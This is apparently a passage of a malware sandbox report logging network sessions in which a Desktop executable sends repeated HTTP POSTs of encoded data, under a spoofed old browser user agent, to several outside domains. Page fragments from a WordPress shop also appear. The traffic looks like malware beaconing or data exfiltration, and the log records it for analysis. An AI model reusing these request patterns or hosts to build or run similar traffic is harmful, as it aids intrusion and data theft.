Oct 25, 2024 11:17:57.720808029 CEST	1236	IN	Data Raw: 73 72 63 20 27 73 65 6c 66 27 3b 20 69 6d 67 2d 73 72 63 20 2a 3b 20 6d 65 64 69 61 2d 73 72 63 20 2a 20 64 61 74 61 3a 3b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 46 72 61 6d Data Ascii: src 'self'; img-src ; media-src data:;X-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneLink: <https://pohlfood.com/wp-json/>; rel="https://api.w.org/", <https://pohlfood.com/wp-json/wp
Oct 25, 2024 11:17:57.720850945 CEST	1236	IN	Data Raw: 28 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6d 61 67 6e 65 74 6f 6d 65 74 65 72 3d Data Ascii: (), fullscreen=, geolocation=(self), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=, picture-in-picture=, publickey-credentials-get=(), screen-wake-lock=(), sync-xhr=, usb=(), xr-spatial-tracking=(), gamep
Oct 25, 2024 11:17:57.720904112 CEST	1236	IN	Data Raw: 64 69 6e 67 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 72 7a 54 62 6c 2d 66 69 78 65 64 2d 68 65 61 64 69 6e 67 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 22 20 73 74 79 6c 65 3d 22 7b 7b 68 65 61 64 69 6e 67 Data Ascii: ding --> <div class="frzTbl-fixed-heading-wrapper-outer" style="{{heading_height}}"> <div class="frzTbl-fixed-heading-wrapper__columns frzTbl-fixed-heading-wrapper__columns--left"> {{left-columns-heading}}
Oct 25, 2024 11:17:57.720940113 CEST	1236	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 66 72 7a 54 62 6c 2d 74 6f 70 2d 73 74 69 63 6b 79 22 3e 7b 7b 72 69 67 68 74 2d 63 6f 6c 75 6d 6e 73 2d 68 65 61 64 69 6e 67 7d 7d 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7b 7b 72 Data Ascii: div class="frzTbl-top-sticky">{{right-columns-heading}}</div> {{right-columns}} </div> </div> </div> ... table --> <div class="frzTbl-table-wrapper"> <div clas
Oct 25, 2024 11:17:57.720976114 CEST	1236	IN	Data Raw: 63 6c 61 73 73 3d 22 77 63 70 74 2d 70 72 6f 64 75 63 74 2d 66 6f 72 6d 2d 6c 6f 61 64 69 6e 67 2d 74 65 78 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 77 63 70 74 2d 61 6a 61 78 2d 62 61 64 67 65 22 3e 0d 0a 20 20 20 20 Data Ascii: class="wcpt-product-form-loading-text"> <i class="wcpt-ajax-badge"> ... ajax loading icon svg --> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentCol
Oct 25, 2024 11:17:57.721029043 CEST	1236	IN	Data Raw: 6f 78 2d 74 72 69 67 67 65 72 20 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 3a 20 23 34 43 41 46 35 30 3b 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 31 29 3b 20 63 6f 6c 6f Data Ascii: ox-trigger {background-color : #4CAF50; border-color : rgba(0, 0, 0, .1); color : rgba(255, 255, 255); }</style>Add selected (<span class="wcpt-total-selected"></span>) to cart</div></script><meta name='robots' content='index, fo
Oct 25, 2024 11:17:57.721064091 CEST	1236	IN	Data Raw: 72 76 69 63 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 61 72 74 69 63 6c 65 3a 70 75 62 6c 69 73 68 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 50 6f Data Ascii: rvice" /><meta property="article:publisher" content="https://www.facebook.com/PohlFoodService" /><meta property="article:modified_time" content="2023-10-18T03:00:57+00:00" /><meta property="og:image" content="https://pohlfood.com/wp-cont
Oct 25, 2024 11:17:57.721098900 CEST	1236	IN	Data Raw: 61 67 65 4f 62 6a 65 63 74 22 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6f 68 6c 66 6f 6f 64 2e 63 6f 6d 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 2c 22 75 72 6c 22 3a 22 Data Ascii: ageObject","inLanguage":"en-US","@id":"https://pohlfood.com/#primaryimage","url":"https://pohlfood.com/wp-content/uploads/pohl-14.jpg","contentUrl":"https://pohlfood.com/wp-content/uploads/pohl-14.jpg","width":700,"height":473,"caption":"Pohl"
Oct 25, 2024 11:17:57.721137047 CEST	1236	IN	Data Raw: 73 2f 61 6e 74 69 73 63 72 6f 6c 6c 2f 63 73 73 2e 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 72 65 65 7a 65 5f 74 61 62 6c 65 2d 63 73 73 27 20 Data Ascii: s/antiscroll/css.css' media='all' /><link rel='stylesheet' id='freeze_table-css' href='http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/freeze_table/css.css' media='all' /><link rel='stylesheet' id='multirange-css' href='ht
Oct 25, 2024 11:17:57.727730989 CEST	1236	IN	Data Raw: 6f 68 6c 66 6f 6f 64 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 63 73 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 73 6d 61 6c 6c 73 63 72 65 65 6e 2e 63 73 73 27 Data Ascii: ohlfood.com/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css' media='only screen and (max-width: 768px)' /><link rel='stylesheet' id='woocommerce-general-css' href='http://pohlfood.com/wp-content/plugins/woocommerce/asset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	52736	103.224.182.253	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:56.510689974 CEST	779	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.railbook.net Cache-Control: no-cache Data Raw: 70 58 35 43 56 37 76 6b 51 77 54 31 4a 68 53 70 55 68 4a 48 31 36 52 65 50 56 54 42 44 5a 4d 43 48 7a 6f 31 43 42 2f 2f 4c 4b 64 46 61 65 59 34 49 53 6d 38 42 33 6a 47 50 69 46 6d 50 31 78 45 4c 31 4a 54 31 38 5a 34 45 6c 59 55 45 61 64 66 6f 54 58 48 33 6e 48 76 61 71 41 6d 62 59 6a 4b 6b 51 54 33 56 78 74 59 73 67 59 58 2f 59 55 64 38 48 6d 66 54 55 64 63 59 78 42 62 53 2b 59 49 65 47 6e 32 53 73 76 30 69 56 51 70 74 32 6a 69 75 76 4b 6b 4e 71 4c 69 32 4b 43 47 61 47 44 74 6a 4e 4c 4d 67 78 41 4d 61 71 66 32 6b 39 75 72 34 65 49 64 65 66 67 48 30 46 76 57 55 71 6c 38 59 41 76 71 6e 41 48 2b 6f 56 5a 35 76 7a 6c 6a 7a 76 46 61 36 53 71 51 38 4f 2f 78 65 56 76 51 74 79 4f 55 33 35 46 38 34 79 41 75 46 46 74 45 74 59 67 68 6a 54 4a 45 39 4b 48 75 6f 62 38 33 67 64 69 77 77 6e 6c 33 70 41 57 48 44 39 41 4c 47 57 64 76 4f 48 39 75 54 52 70 46 61 54 36 70 47 6a 75 71 49 54 35 34 79 6b 36 43 39 6f 6e 76 64 38 72 37 6e 6d 46 7a 75 4e 74 4a 35 2f 49 4b 55 34 43 77 43 31 70 34 75 76 4a 69 50 39 79 65 4d 37 [TRUNCATED] Data Ascii: pX5CV7vkQwT1JhSpUhJH16RePVTBDZMCHzo1CB//LKdFaeY4ISm8B3jGPiFmP1xEL1JT18Z4ElYUEadfoTXH3nHvaqAmbYjKkQT3VxtYsgYX/YUd8HmfTUdcYxBbS+YIeGn2Ssv0iVQpt2jiuvKkNqLi2KCGaGDtjNLMgxAMaqf2k9ur4eIdefgH0FvWUql8YAvqnAH+oVZ5vzljzvFa6SqQ8O/xeVvQtyOU35F84yAuFFtEtYghjTJE9KHuob83gdiwwnl3pAWHD9ALGWdvOH9uTRpFaT6pGjuqIT54yk6C9onvd8r7nmFzuNtJ5/IKU4CwC1p4uvJiP9yeM7pDvXnTzRH1XrX9QNGVIXIx389pcYTNUg7cAnU/Q08OUmzkn70pZI07ouswTq2yhzax+PUG3kliJJKeXL4UmbtP2W+XQ+oNDE+tubSi29ERVSurNZMkyNAq+xXryRqNiVWvM/A9bZk5D2C0ymV0GPJ1ioBtMj2rsKPLXKw4pwJbYv5lU4V746kTyVciUAXD9d9UwSF7P3Rv/w==
Oct 25, 2024 11:17:57.432022095 CEST	288	IN	HTTP/1.1 302 Found date: Fri, 25 Oct 2024 09:17:57 GMT server: Apache set-cookie: __tad=1729847877.6928100; expires=Mon, 23-Oct-2034 09:17:57 GMT; Max-Age=315360000 location: http://ww38.railbook.net/ content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	52742	103.224.182.253	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:57.620312929 CEST	813	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.railbook.net Cache-Control: no-cache Cookie: __tad=1729847877.6928100 Data Raw: 70 58 35 43 56 37 76 6b 51 77 54 31 4a 68 53 70 55 68 4a 48 31 36 52 65 50 56 54 42 44 5a 4d 43 48 7a 6f 31 43 42 2f 2f 4c 4b 64 46 61 65 59 34 49 53 6d 38 42 33 6a 47 50 69 46 6d 50 31 78 45 4c 31 4a 54 31 38 5a 34 45 6c 59 55 45 61 64 66 6f 54 58 48 33 6e 48 76 61 71 41 6d 62 59 6a 4b 6b 51 54 33 56 78 74 59 73 67 59 58 2f 59 55 64 38 48 6d 66 54 55 64 63 59 78 42 62 53 2b 59 49 65 47 6e 32 53 73 76 30 69 56 51 70 74 32 6a 69 75 76 4b 6b 4e 71 4c 69 32 4b 43 47 61 47 44 74 6a 4e 4c 4d 67 78 41 4d 61 71 66 32 6b 39 75 72 34 65 49 64 65 66 67 48 30 46 76 57 55 71 6c 38 59 41 76 71 6e 41 48 2b 6f 56 5a 35 76 7a 6c 6a 7a 76 46 61 36 53 71 51 38 4f 2f 78 65 56 76 51 74 79 4f 55 33 35 46 38 34 79 41 75 46 46 74 45 74 59 67 68 6a 54 4a 45 39 4b 48 75 6f 62 38 33 67 64 69 77 77 6e 6c 33 70 41 57 48 44 39 41 4c 47 57 64 76 4f 48 39 75 54 52 70 46 61 54 36 70 47 6a 75 71 49 54 35 34 79 6b 36 43 39 6f 6e 76 64 38 72 37 6e 6d 46 7a 75 4e 74 4a 35 2f 49 4b 55 34 43 77 43 31 70 34 75 76 4a 69 50 39 79 65 4d 37 [TRUNCATED] Data Ascii: pX5CV7vkQwT1JhSpUhJH16RePVTBDZMCHzo1CB//LKdFaeY4ISm8B3jGPiFmP1xEL1JT18Z4ElYUEadfoTXH3nHvaqAmbYjKkQT3VxtYsgYX/YUd8HmfTUdcYxBbS+YIeGn2Ssv0iVQpt2jiuvKkNqLi2KCGaGDtjNLMgxAMaqf2k9ur4eIdefgH0FvWUql8YAvqnAH+oVZ5vzljzvFa6SqQ8O/xeVvQtyOU35F84yAuFFtEtYghjTJE9KHuob83gdiwwnl3pAWHD9ALGWdvOH9uTRpFaT6pGjuqIT54yk6C9onvd8r7nmFzuNtJ5/IKU4CwC1p4uvJiP9yeM7pDvXnTzRH1XrX9QNGVIXIx389pcYTNUg7cAnU/Q08OUmzkn70pZI07ouswTq2yhzax+PUG3kliJJKeXL4UmbtP2W+XQ+oNDE+tubSi29ERVSurNZMkyNAq+xXryRqNiVWvM/A9bZk5D2C0ymV0GPJ1ioBtMj2rsKPLXKw4pwJbYv5lU4V746kTyVciUAXD9d9UwSF7P3Rv/w==
Oct 25, 2024 11:17:58.369566917 CEST	192	IN	HTTP/1.1 302 Found date: Fri, 25 Oct 2024 09:17:58 GMT server: Apache location: http://ww38.railbook.net/ content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	52750	157.112.176.4	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:58.946554899 CEST	822	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.11tochi.net Cache-Control: no-cache Data Raw: 35 5a 54 79 41 65 73 71 30 41 57 35 65 7a 64 42 77 73 4d 4e 71 6c 54 77 6b 47 32 78 64 36 59 33 54 77 75 75 57 41 64 59 34 4b 36 43 72 59 6d 4f 77 48 55 6b 34 4e 2b 67 53 56 37 7a 4b 75 4e 38 53 78 33 6f 55 77 36 68 32 37 56 2b 54 7a 57 6e 47 30 38 65 58 5a 2b 78 77 79 78 64 6b 6d 5a 4a 31 77 57 4b 38 58 5a 41 51 70 71 68 57 68 6a 4b 46 44 43 41 49 74 53 57 6f 38 37 6c 68 78 48 6f 6b 71 30 77 56 46 59 6e 61 70 66 53 57 5a 78 4a 39 32 4b 54 47 6f 57 34 75 66 5a 4b 7a 77 4a 38 45 43 63 37 4b 61 4a 68 48 7a 48 58 43 76 46 54 75 4c 2b 48 4d 65 38 42 44 71 4b 72 52 4c 78 66 36 6b 57 45 75 55 42 71 65 5a 66 61 78 67 68 4f 53 52 38 62 39 32 6d 6d 46 41 6d 4f 4d 32 74 33 41 63 50 6a 52 5a 71 72 7a 64 4b 2b 63 57 33 64 54 4b 35 47 44 4a 6c 4b 49 45 35 4a 68 53 44 79 31 33 6b 52 59 6d 30 33 76 31 7a 4b 39 31 67 77 7a 61 4d 70 2f 4c 30 35 39 38 35 41 79 36 68 6b 6a 6c 53 49 34 2f 49 52 55 56 79 4b 72 5a 4e 4c 77 55 70 31 7a 2f 45 6e 34 31 47 39 6e 58 7a 67 6d 4e 6f 32 5a 61 2b 37 33 68 54 59 42 74 33 52 46 56 [TRUNCATED] Data Ascii: 5ZTyAesq0AW5ezdBwsMNqlTwkG2xd6Y3TwuuWAdY4K6CrYmOwHUk4N+gSV7zKuN8Sx3oUw6h27V+TzWnG08eXZ+xwyxdkmZJ1wWK8XZAQpqhWhjKFDCAItSWo87lhxHokq0wVFYnapfSWZxJ92KTGoW4ufZKzwJ8ECc7KaJhHzHXCvFTuL+HMe8BDqKrRLxf6kWEuUBqeZfaxghOSR8b92mmFAmOM2t3AcPjRZqrzdK+cW3dTK5GDJlKIE5JhSDy13kRYm03v1zK91gwzaMp/L05985Ay6hkjlSI4/IRUVyKrZNLwUp1z/En41G9nXzgmNo2Za+73hTYBt3RFVHhUdPJaBBb5RpQB9XMnch67swtRDQ+pitv+3qxfr71qdqdSbjip/KRnemPMchWh6ED31Aw3uUQYA7drNgOQSfLb13rSafmHVdbAYAsKavBhLZ+Nt0RyGVRunqpTkFcjXhN7n6/F4R5MO0bTOUuqXn2peIclVH0jwjpcaWzKaSXBO+r1pnaqspdYLkl0HH/cBMkL1EZVZHEgNI6NDpv45lRijphldt/yFPppAOuz7acpnfet8ky8DyE0q8=
Oct 25, 2024 11:17:59.861921072 CEST	256	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Redirect-By: WordPress - Really Simple Security Location: https://www.11tochi.net/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	52758	173.254.28.29	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:00.641437054 CEST	827	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pb-games.com Cache-Control: no-cache Data Raw: 34 4b 6e 34 71 42 36 66 33 77 62 71 45 4d 32 78 61 66 73 64 4f 51 48 2b 72 71 35 65 31 37 6c 76 4d 69 46 6b 6d 33 4b 47 6e 75 4f 61 76 67 6d 6c 32 75 68 76 77 33 49 77 70 53 67 6f 72 38 78 55 4e 35 49 6f 51 4c 77 39 64 42 69 7a 30 6b 32 4e 72 48 36 4c 5a 4a 42 45 44 36 77 6c 75 4e 75 75 51 34 48 39 36 41 6b 41 48 47 57 6f 75 45 6b 59 34 34 43 6b 30 58 4f 71 41 6d 42 55 38 69 7a 33 50 53 2f 6d 4e 79 33 71 2f 6c 74 31 71 5a 2b 77 74 72 68 38 70 46 57 66 75 48 50 75 34 53 78 50 50 36 7a 37 70 6c 57 4d 4c 32 75 4f 77 6f 75 4a 69 66 56 64 68 66 30 70 42 72 6e 44 78 53 73 62 76 52 66 75 35 53 7a 31 41 76 41 57 45 37 67 55 6c 38 55 56 6c 36 63 64 6a 5a 77 36 34 74 78 36 2b 74 56 59 59 49 66 47 46 73 68 45 41 62 6d 78 2f 2f 39 34 44 32 72 4b 35 43 67 32 51 2f 73 44 6f 4b 50 66 53 67 61 34 4c 35 58 41 39 70 2f 75 78 65 52 76 66 4e 54 48 4b 69 4a 66 56 2b 49 4c 63 43 37 69 71 65 31 72 4f 4a 4a 37 6c 2b 74 49 75 76 71 6a 6b 41 56 48 32 77 46 42 47 77 56 6f 43 68 72 74 67 77 52 2f 74 53 70 35 45 61 74 41 53 55 [TRUNCATED] Data Ascii: 4Kn4qB6f3wbqEM2xafsdOQH+rq5e17lvMiFkm3KGnuOavgml2uhvw3IwpSgor8xUN5IoQLw9dBiz0k2NrH6LZJBED6wluNuuQ4H96AkAHGWouEkY44Ck0XOqAmBU8iz3PS/mNy3q/lt1qZ+wtrh8pFWfuHPu4SxPP6z7plWML2uOwouJifVdhf0pBrnDxSsbvRfu5Sz1AvAWE7gUl8UVl6cdjZw64tx6+tVYYIfGFshEAbmx//94D2rK5Cg2Q/sDoKPfSga4L5XA9p/uxeRvfNTHKiJfV+ILcC7iqe1rOJJ7l+tIuvqjkAVH2wFBGwVoChrtgwR/tSp5EatASU2viYgSREMzHHz9QJvPqsYXLfPXPwaaP7DGZOqmOBIdpKNJrX32jHXGKwTBj5F4aapiecsE7mmzhjfjU2P+WYtHq/QAVOCb925Hw1PKBRi4/q9d/V7Us1e4e5WGcIdSNZZ/2AxAFvW/P/IOy+zF//j28JXDg0hP60KIAIljbGeCRYLEUVpDJwko8L/ankLAGybE1yzAeo4YDHXEsUj2UYNRZ4f2X3xjqDQM0dsEWBOP02xFQSw2cTHYaVWZnA==
Oct 25, 2024 11:18:01.309206009 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:01 GMT Server: Apache Location: https://www.pb-games.com/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 62 2d 67 61 6d 65 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.pb-games.com/">here</a>.</p></body></html>
Oct 25, 2024 11:18:01.392857075 CEST	827	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pb-games.com Cache-Control: no-cache Data Raw: 34 4b 6e 34 71 42 36 66 33 77 62 71 45 4d 32 78 61 66 73 64 4f 51 48 2b 72 71 35 65 31 37 6c 76 4d 69 46 6b 6d 33 4b 47 6e 75 4f 61 76 67 6d 6c 32 75 68 76 77 33 49 77 70 53 67 6f 72 38 78 55 4e 35 49 6f 51 4c 77 39 64 42 69 7a 30 6b 32 4e 72 48 36 4c 5a 4a 42 45 44 36 77 6c 75 4e 75 75 51 34 48 39 36 41 6b 41 48 47 57 6f 75 45 6b 59 34 34 43 6b 30 58 4f 71 41 6d 42 55 38 69 7a 33 50 53 2f 6d 4e 79 33 71 2f 6c 74 31 71 5a 2b 77 74 72 68 38 70 46 57 66 75 48 50 75 34 53 78 50 50 36 7a 37 70 6c 57 4d 4c 32 75 4f 77 6f 75 4a 69 66 56 64 68 66 30 70 42 72 6e 44 78 53 73 62 76 52 66 75 35 53 7a 31 41 76 41 57 45 37 67 55 6c 38 55 56 6c 36 63 64 6a 5a 77 36 34 74 78 36 2b 74 56 59 59 49 66 47 46 73 68 45 41 62 6d 78 2f 2f 39 34 44 32 72 4b 35 43 67 32 51 2f 73 44 6f 4b 50 66 53 67 61 34 4c 35 58 41 39 70 2f 75 78 65 52 76 66 4e 54 48 4b 69 4a 66 56 2b 49 4c 63 43 37 69 71 65 31 72 4f 4a 4a 37 6c 2b 74 49 75 76 71 6a 6b 41 56 48 32 77 46 42 47 77 56 6f 43 68 72 74 67 77 52 2f 74 53 70 35 45 61 74 41 53 55 [TRUNCATED] Data Ascii: 4Kn4qB6f3wbqEM2xafsdOQH+rq5e17lvMiFkm3KGnuOavgml2uhvw3IwpSgor8xUN5IoQLw9dBiz0k2NrH6LZJBED6wluNuuQ4H96AkAHGWouEkY44Ck0XOqAmBU8iz3PS/mNy3q/lt1qZ+wtrh8pFWfuHPu4SxPP6z7plWML2uOwouJifVdhf0pBrnDxSsbvRfu5Sz1AvAWE7gUl8UVl6cdjZw64tx6+tVYYIfGFshEAbmx//94D2rK5Cg2Q/sDoKPfSga4L5XA9p/uxeRvfNTHKiJfV+ILcC7iqe1rOJJ7l+tIuvqjkAVH2wFBGwVoChrtgwR/tSp5EatASU2viYgSREMzHHz9QJvPqsYXLfPXPwaaP7DGZOqmOBIdpKNJrX32jHXGKwTBj5F4aapiecsE7mmzhjfjU2P+WYtHq/QAVOCb925Hw1PKBRi4/q9d/V7Us1e4e5WGcIdSNZZ/2AxAFvW/P/IOy+zF//j28JXDg0hP60KIAIljbGeCRYLEUVpDJwko8L/ankLAGybE1yzAeo4YDHXEsUj2UYNRZ4f2X3xjqDQM0dsEWBOP02xFQSw2cTHYaVWZnA==
Oct 25, 2024 11:18:01.548703909 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:01 GMT Server: Apache Location: https://www.pb-games.com/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 62 2d 67 61 6d 65 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.pb-games.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	52769	157.112.182.239	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:03.821175098 CEST	815	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.sclover3.com Cache-Control: no-cache Data Raw: 62 48 52 45 32 2b 56 49 36 77 63 43 6b 6f 4c 71 6a 4f 58 4a 67 46 36 57 37 5a 51 7a 50 75 54 79 36 5a 74 42 39 77 58 4c 4a 36 4c 68 38 59 77 62 4f 54 6a 4d 66 59 70 6a 66 69 47 55 2f 74 71 74 77 39 4f 4e 58 34 6e 75 59 2f 43 43 35 49 79 75 54 2b 2b 4f 33 57 42 4f 64 6a 4f 55 52 45 78 78 76 49 72 30 44 2b 4e 69 36 41 5a 2b 78 6e 32 78 32 75 31 52 36 62 5a 72 68 4a 7a 63 32 4b 52 32 7a 75 6b 33 46 59 46 76 73 4f 41 5a 79 77 44 78 4a 47 72 6c 53 6c 52 32 77 50 41 53 69 67 38 41 72 6e 69 55 36 68 39 43 78 67 71 6f 4e 4f 6a 6e 56 75 4a 4f 66 31 74 68 45 44 69 38 4b 44 32 61 56 61 61 6d 6f 58 50 5a 31 4f 4a 72 43 61 4c 66 76 38 70 63 46 6b 32 72 4b 6b 79 49 73 65 72 4a 49 62 6c 4c 57 46 56 39 32 74 50 4e 38 77 43 51 62 68 5a 55 58 71 63 64 54 44 55 31 49 59 54 63 56 52 79 4b 53 63 35 46 66 49 6e 4a 58 63 42 7a 5a 69 61 72 58 50 43 43 61 52 38 58 56 30 34 36 79 65 69 34 51 44 5a 4c 6a 67 49 34 54 6b 4e 53 51 65 32 41 69 61 56 36 4b 38 6c 2f 54 68 76 38 37 67 73 47 77 32 65 76 61 59 37 38 59 36 71 41 2f 64 [TRUNCATED] Data Ascii: bHRE2+VI6wcCkoLqjOXJgF6W7ZQzPuTy6ZtB9wXLJ6Lh8YwbOTjMfYpjfiGU/tqtw9ONX4nuY/CC5IyuT++O3WBOdjOURExxvIr0D+Ni6AZ+xn2x2u1R6bZrhJzc2KR2zuk3FYFvsOAZywDxJGrlSlR2wPASig8ArniU6h9CxgqoNOjnVuJOf1thEDi8KD2aVaamoXPZ1OJrCaLfv8pcFk2rKkyIserJIblLWFV92tPN8wCQbhZUXqcdTDU1IYTcVRyKSc5FfInJXcBzZiarXPCCaR8XV046yei4QDZLjgI4TkNSQe2AiaV6K8l/Thv87gsGw2evaY78Y6qA/d7HQvPTwQx30Ms32HOCq4tY1DSHz3t7CqSjnVDAxGzLtCv0KdZw2CluhzBwwJkjnQS7DjmKMMuJRiUeyawPP6MgMhMO4wyFw4bRuM2kHWnmMZb0V/7TRzu+Htm+cK6AU7nnEs97NLhu/69InETNtuR8q21WNiXaphOjN0eZOnzVvBtD9/8RiJ2oivbGMFPNDW643BhXshGWiYIdA6KZgqOit7/efVVWYEDhVIsIiA/SxhZlvGE=
